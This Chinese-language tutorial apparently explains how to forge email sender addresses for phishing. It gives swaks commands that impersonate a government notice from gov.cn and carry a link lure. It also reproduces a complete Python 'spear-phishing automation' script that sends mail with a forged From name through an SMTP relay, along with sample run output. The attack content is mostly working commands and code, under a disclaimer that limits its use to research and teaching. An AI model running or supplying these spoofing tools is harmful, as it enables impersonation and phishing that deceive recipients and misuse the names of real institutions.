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注意，本文提供的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，作者不承担任何法律及连带责任。

有时候，黑客会通过精心编辑的smtp协议包达到钓鱼的目的。因此在邮箱里收到邮件，不能被邮件的发送地址给欺骗，因为有可能的伪造的，如下例子：

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swaks --to [email protected] --from [email protected] --h-From: '政府通知<[email protected]>' --h-Subject "通知：关于中小企业新政策" --h-X-Mailer gov.cn --h-Message-Id gov.cn  --ehlo gov.cn --body "请点击网址https://www.hack.com查看"

实际用阿里云服务器测试的时候发现阿里云封了出站的25端口，导致无法发送，这个时候因为qq邮箱的mx地址服务器只支持25端口，于是就只能发送别的邮箱如163邮箱可以使用ssl端口。方法是加上–tls-on-connect参数：

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swaks --to [email protected] --from [email protected] --h-From: '政府通知<[email protected]>' --h-Subject "通知：关于中小企业新政策" --h-X-Mailer gov.cn --h-Message-Id gov.cn  --ehlo gov.cn --body "请点击网址https://www.hack.com查看"  --tls-on-connect

需要注意的是，这个方法只能应用给不存在的邮箱地址，如果是开了 dkim，dmarc，spf 的域名的邮件地址就不能用这个方法，就要用SMTP中继协议来伪造。参考如下：

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#!/usr/bin/python
"""
@Rvn0xsy - 鱼叉自动化脚本

该脚本需要一个邮件服务器用来Relay，其次需要一个邮件正文eml文件用于发送，邮件服务器需要满足以下条件：

1.支持转发
2.SPF
3.DKIM

格式解释：
'=?UTF-8?B?这里是BASE64编码?='

B = Base64

其中eml文件需要去除Header部分，脚本负责重构。


Example >

$ python .\smtp-relay.py -f <发送邮箱> -t <目标邮箱> -u <邮箱用户名> -p <邮箱密码> -r <伪造对象> --relay_name <伪造对象名称> --subject <邮件标题> -b <邮件正文文件>
~\Desktop> python .\smtp-relay.py -f [email protected] -t [email protected] -u user -p XXX -r [email protected] --relay_name 二维码科技 --subject 测试 -b .\send.eml
2019-07-24 22:39:50,861 - .\smtp-relay.py[line:80] - INFO: 235 Authentication successful
2019-07-24 22:39:53,979 - .\smtp-relay.py[line:52] - INFO: 250 Data Ok
2019-07-24 22:39:53,983 - .\smtp-relay.py[line:87] - INFO: QUIT

PS: DATA内容就是eml文件

============<Header>============
Date: Wed, 24 Jul 2019 15:47:10 +0800 (CST)
From: =?UTF-8?B?xxx?= xxx
To: xxx
Subject: =?UTF-8?B?xxx?=
============</Header>============

============<DATA>============

X-Mailer: Server Version 1.0
Content-Type: multipart/mixed; 
	boundary="----=_Part_65_550351629.1563948317509"
MIME-Version: 1.0
Message-ID: <7a422a.12.16c22957b47.xxx>
Date: Wed, 24 Jul 2019 15:47:10 +0800 (CST)

------=_Part_65_550351629.1563948317509
Content-Type: multipart/alternative; 
	boundary="----=_Part_67_1156720723.1563948317510"

------=_Part_67_1156720723.1563948317510
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64

5L2g5Lus5aW95qOS77yB5Yqg5rK577yB

------=_Part_67_1156720723.1563948317510

============</DATA>============
"""
import telnetlib
import time
import logging
import base64
import argparse

logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)

class SMTPClient():
    def __init__(self,):
        self.mail_from = ''
        self.mail_to = []
        self.send_data = ''
        self.mail_header = ''
        self.tn = telnetlib.Telnet()
    def set_mail_header(self,mail_subject,mail_relay,mail_relay_name):
        now_date = time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)", time.localtime())
        self.mail_header = "Date: {}\r\nFrom: =?UTF-8?B?{}?= <{}>\r\nTo: {}\r\nSubject: =?UTF-8?B?{}?=\r\n".format(now_date,
            base64.b64encode(mail_relay_name.encode()).decode(),
            mail_relay,
            self.mail_to[0],base64.b64encode(mail_subject.encode()).decode())
        
    def set_mail(self,mail_from,mail_to,send_body):
        self.mail_from = mail_from
        self.mail_to = mail_to
        with open(send_body, "rb") as f_body:
            self.send_data = f_body.read()
        f_body.close()
    def send_ehlo(self, content):
        self.tn.write(content.encode())

    def send_mail(self):
        mail_from = "MAIL FROM:<%s>" % self.mail_from
        logging.info(mail_from)
        # 250 Mail Ok
        self.tn.write(mail_from.encode() + b'\r\n')
        self.tn.read_until(b"250 Mail Ok\r\n",timeout=3)
        logging.info("250 Mail Ok")
        
        for mail in self.mail_to:
            mail_rpct = "RCPT TO:<%s>" % mail
            self.tn.write(mail_rpct.encode() + b'\r\n')
            self.tn.read_until(b"250 Rcpt Ok\r\n",timeout=3)
            logging.info(mail_rpct)
        # 250 Rcpt Ok
        self.tn.write(b'DATA\n')
        self.tn.read_until(b"354 End data with <CR><LF>.<CR><LF>\r\n",timeout=3)
        # 354 End data with <CR><LF>.<CR><LF>
        send_all = self.mail_header.encode()+self.send_data+b"\r\n.\r\n"
        # self.tn.write(self.mail_header.encode()+b"\r\n")
        # self.tn.write(self.send_data+b"\r\n.\r\n")
        self.tn.write(send_all)
        # 250 Data Ok: queued as freedom
        self.tn.read_until(b"250 Data Ok: queued as freedom\r\n",timeout=3)
        logging.info("250 Data Ok")
    def login_host(self,host_ip,username,password):
        try:
            self.tn.open(host_ip,port=25)
        except:
            logging.warning('%s Connect Error..'%host_ip)
            return False
        self.send_ehlo("EHLO virtual-machine\r\n")
        # 250-smtp.aliyun-inc.com
        # 250-STARTTLS
        # 250-8BITMIME
        # 250-AUTH=PLAIN LOGIN XALIOAUTH
        # 250-AUTH PLAIN LOGIN XALIOAUTH
        # 250-PIPELINING
        # 250 DSN
        self.tn.read_until(b"250-smtp.aliyun-inc.com\r\n",timeout=3)
        self.tn.read_until(b"250-STARTTLS\r\n",timeout=3)
        self.tn.read_until(b"250-8BITMIME\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH=PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-PIPELINING\r\n",timeout=3)
        self.tn.read_until(b"250 DSN\r\n",timeout=3)
        self.tn.write(b"AUTH LOGIN\r\n")
        self.tn.read_until(b"334 dXNlcm5hbWU6\r\n",timeout=3)
        self.tn.write(base64.b64encode(username.encode()) + b'\r\n')
        self.tn.read_until(b"334 UGFzc3dvcmQ6\r\n",timeout=3)
        self.tn.write(base64.b64encode(password.encode()) + b'\r\n')
        self.tn.read_until(b"235 Authentication successful\r\n",timeout=3)
        logging.info("235 Authentication successful")
        return True

    def logout_host(self):
        self.tn.write(b"QUIT\r\n")
        self.tn.read_until(b"221 Bye\r\n",timeout=3)
        self.tn.close()
        logging.info("QUIT")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.description = "AMAIL SMTP Relay Client - Version 1.0"
    parser.add_argument("-f","--mail_from",type=str,help="Mail From",required = True)
    parser.add_argument("-t","--mail_to",type=str,help="Mail To",required = True)
    parser.add_argument("-u","--username",type=str,help="SMTP Username",required = True)
    parser.add_argument("-p","--password",type=str,help="SMTP Password",required = True)
    parser.add_argument("-s","--server",type=str,help="SMTP Server", default="smtp.mxhichina.com")
    parser.add_argument("-b","--body",type=str,help="Mail Body", required = True)
    parser.add_argument("-r","--relay",type=str,help="Mail Relay To", required = True)
    parser.add_argument("--relay_name",type=str,help="Mail Relay To Name", required = True)
    parser.add_argument("--subject",type=str,help="Mail Subject", required = True)
    args = parser.parse_args()
    
    smtp_client = SMTPClient()

    if smtp_client.login_host(args.server,args.username,args.password):
        smtp_client.set_mail(args.mail_from,args.mail_to.split(","),args.body)
        smtp_client.set_mail_header(args.subject,args.relay,args.relay_name)
        smtp_client.send_mail()
        smtp_client.logout_host()

参考：https://payloads.online/archivers/2020-02-05/1/

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